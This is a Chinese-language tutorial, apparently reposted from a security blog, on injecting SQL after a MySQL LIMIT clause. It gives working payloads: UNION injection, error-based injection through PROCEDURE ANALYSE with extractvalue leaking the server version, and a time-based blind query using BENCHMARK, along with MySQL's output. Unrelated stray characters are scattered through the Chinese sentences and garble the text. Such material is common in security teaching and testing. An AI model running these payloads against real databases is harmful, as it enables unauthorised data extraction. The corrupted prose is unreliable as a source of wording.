參考鏈接:
https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
一般實(shí)際過(guò)程中使用 limit 時(shí),大概有兩種情況捉蚤,一種使用order by
抬驴,一種就是不使用 order by
關(guān)鍵字
不存在 order by 關(guān)鍵字
執(zhí)行語(yǔ)句
select id from users limit 0,1
這種情況下的 limit
后面可以使用union
進(jìn)行聯(lián)合查詢注入
執(zhí)行語(yǔ)句
select id from users limit 0,1 union select username from users;
存在 order by 關(guān)鍵字
執(zhí)行語(yǔ)句
select id from users order by id desc limit 0,1;
此時(shí)后面再次使用union
將會(huì)報(bào)錯(cuò)
除了union
就沒(méi)有其他可以使用的了嗎,非也
此方法適用于5.0.0< MySQL <5.6.6
版本缆巧,在limit語(yǔ)句后面的注入
MySQL 5中的SELECT語(yǔ)法:
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
limit 關(guān)鍵字后面還可跟PROCEDURE
和 INTO
兩個(gè)關(guān)鍵字布持,但是 INTO
后面寫入文件需要知道絕對(duì)路徑以及寫入shell的權(quán)限,因此利用比較難陕悬,因此這里以PROCEDURE
為例進(jìn)行注入
- 使用
PROCEDURE
函數(shù)進(jìn)行注入
ANALYSE支持兩個(gè)參數(shù)题暖,首先嘗試一下默認(rèn)兩個(gè)參數(shù)
mysql> select id from users order by id desc limit 0,1 procedure analyse(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
報(bào)錯(cuò),嘗試一下對(duì)其中一個(gè)參數(shù)進(jìn)行注入捉超,這里首先嘗試報(bào)錯(cuò)注入
mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
成功爆出 mysql 版本信息胧卤,證明如果存在報(bào)錯(cuò)回顯的話,可以使用報(bào)錯(cuò)注入在limit
后面進(jìn)行注入
不存在回顯怎么辦拼岳,延遲注入呀
執(zhí)行命令
select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
如果 select version();
第一個(gè)為5枝誊,則多次執(zhí)行sha(1)達(dá)到延遲效果
這里使用 sleep 進(jìn)行嘗試,但均未成功裂问,所以需要使用BENCHMARK進(jìn)行替代